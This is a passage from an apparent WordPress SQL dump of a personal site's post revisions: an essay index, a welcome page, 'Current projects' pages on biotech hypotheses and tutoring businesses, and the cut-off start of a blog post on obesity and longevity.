href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-10-07 16:02:53','2021-10-07 16:02:53','',22,'https://trevorklee.com/?p=215',0,'revision','',0),
(216,1,'2021-10-07 16:03:29','2021-10-07 16:03:29','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to contact me, just email [my first name] @ trevorkleetutor.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":38,\"width\":262,\"height\":660,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" width=\"262\" height=\"660\"/><figcaption>Wow, what a photo!</figcaption></figure></div>\n<!-- /wp:image -->\n\n<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2021-10-07 16:03:29','2021-10-07 16:03:29','',27,'https://trevorklee.com/?p=216',0,'revision','',0),
(218,1,'2021-10-08 18:15:46','2021-10-08 18:15:46','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li><li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li><li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li><li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li><li>Combining cyclosporine with a metabolic inhibitor would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li><li>My in-vitro experiment also showed good results.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li><li>Dyskinesia in Parkinson\'s is caused by [<em>tba</em>], which can be treated by [<em>tba</em>]. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li><li>Other dyskinesias will also benefit from this therapeutic.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> in the process of filing a provisional patent and getting experiments done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li><li>In neurodegeneration that is caused by glutamate excitoxicity, [<em>tba</em>] will prove effective.</li><li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: in the process of filing a provisional patent and getting experiments done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li><li>[<em>tba</em>] is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li><li>[<em>TBA therapeutic</em>] can treat this major cause of damage.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>TBA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Refining my evidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><a href=\"http://get21stnight.com\" data-type=\"URL\" data-id=\"http://get21stnight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. Work in progress. The hardest thing about it has been simply to continually make it easier to use while still accomplishing what I want it to accomplish. App development is hard. It makes some amount of money, at least. </p>\n<!-- /wp:paragraph -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2021-10-08 18:15:46','2021-10-08 18:15:46','',2,'https://trevorklee.com/?p=218',0,'revision','',0),
(219,1,'2021-10-08 18:16:14','2021-10-08 18:16:14','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li><li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li><li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li><li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li><li>Combining cyclosporine with a metabolic inhibitor would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li><li>My in-vitro experiment also showed good results.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li><li>Dyskinesia in Parkinson\'s is caused by [<em>tba</em>], which can be treated by [<em>tba</em>]. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li><li>Other dyskinesias will also benefit from this therapeutic.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> in the process of filing a provisional patent and getting experiments done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li><li>In neurodegeneration that is caused by glutamate excitoxicity, [<em>tba</em>] will prove effective.</li><li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: in the process of filing a provisional patent and getting experiments done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><a href=\"http://get21stnight.com\" data-type=\"URL\" data-id=\"http://get21stnight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. Work in progress. The hardest thing about it has been simply to continually make it easier to use while still accomplishing what I want it to accomplish. App development is hard. It makes some amount of money, at least. </p>\n<!-- /wp:paragraph -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2021-10-08 18:16:14','2021-10-08 18:16:14','',2,'https://trevorklee.com/?p=219',0,'revision','',0),
(220,1,'2021-10-22 14:02:01','2021-10-22 14:02:01','<!-- wp:paragraph -->\n<p><em>Want more fun discussions of science and bad jokes? Follow me on <a href=\"https://twitter.com/trevor_klee\">Twitter</a></em> <em>or <a href=\"https://landing.mailerlite.com/webforms/landing/l5k3q3\">sign up to receive notifications when I publish new blog posts</a>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two things that I think everyone can agree on regarding obesity is:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It\'s bad for your longevity</li><li>It\'s bad for your cardiovascular health</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>I don\'t think these are controversial statements. Literally every doctor in America would agree with me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That\'s why it\'s so strange that the literature is so mixed up on this. Let\'s take the first claim, \"Obesity is bad for your longevity.\" If that were true, I\'d expect obese people to die sooner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. That\'s what <a href=\"https://www.acpjournals.org/doi/abs/10.7326/0003-4819-138-1-200301070-00008\">this paper</a> finds in the Netherlands: obese men lose 5.8 years of life expectancy, obese women lose 7.1 years of life expectancy. I\'m not sure if those are exact numbers I\'d expect, but whatever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now let\'s go to America. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":221,\"sizeSlug\":\"full\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/10/image.jpeg\" alt=\"\" class=\"wp-image-221\"/></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In America, <a href=\"https://academic.oup.com/gerontologist/article/45/4/438/565599?login=true\">obese men and women (over the age of 70) live a tiny bit longer than non-obese men and women</a>. Seriously, look at the figure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"width\":426,\"height\":694} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img src=\"https://oup.silverchair-cdn.com/oup/backfile/Content_public/Journal/gerontologist/45/4/10.1093_geront_45.4.438/2/grnt-45-04-12-f02.gif?Expires=1637933798&amp;Signature=Hxsjn4guJmp1ABIms8SWOHrNWCUjIHprH2moIdzPbKoviyHqshm6AdEu0nz1cjjHEIUOQ7jGj3NNwpW0XbsTr5u0fQO1TCxunlO8N2lQK3kPIYa~jrq1yClChAzHGibaye9sPHxVdEDMvEw2juTjUTkTmqSgiErhnhH1-p6lIIuH2OC8QwOkgQJKnZsJVg1nbJEVYTkci0rjQsAqxpHTCv9YpuAWWgQ3pz62bCwst7CFevmtIP~s8a5a5NewVXSrAEqE20WuZ7Que-937Ty6pWurERSDDEuMP4rorbQglMHpmDBId85b3DL3dsYE2LUVgNqtiYCVmPkkWjp4kdmZIg__&amp;Key-Pair-Id=APKAIE5G5CRDK6RD3PGA\" alt=\"Estimated 2-year probability of dying (confidence intervals) for obese and nonobese men and women aged 70 and older: AHEAD 1993–1998 (a black square represents obese individuals, and a white box represents nonobese individuals)\" width=\"426\" height=\"694\"/><figcaption>Black squares are obese, white squares are non-obese.</figcaption></figure></div>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\"But,\" you say, \"that\'s in the elderly! That\'s not a apples-to-apples comparison!\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fine. Let\'s go to 55+ in the Netherlands. And...once again, <a href=\"https://www.nature.com/articles/ijo201694/tables/3\">obese people live longer than normal 